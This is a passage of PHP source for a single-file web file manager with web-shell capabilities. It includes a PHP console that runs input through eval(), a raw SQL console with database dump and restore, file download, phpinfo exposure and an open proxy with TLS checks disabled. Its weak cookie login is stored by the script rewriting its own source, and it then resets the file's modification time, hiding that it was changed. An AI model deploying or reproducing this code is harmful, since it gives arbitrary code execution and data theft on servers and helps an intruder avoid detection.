	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
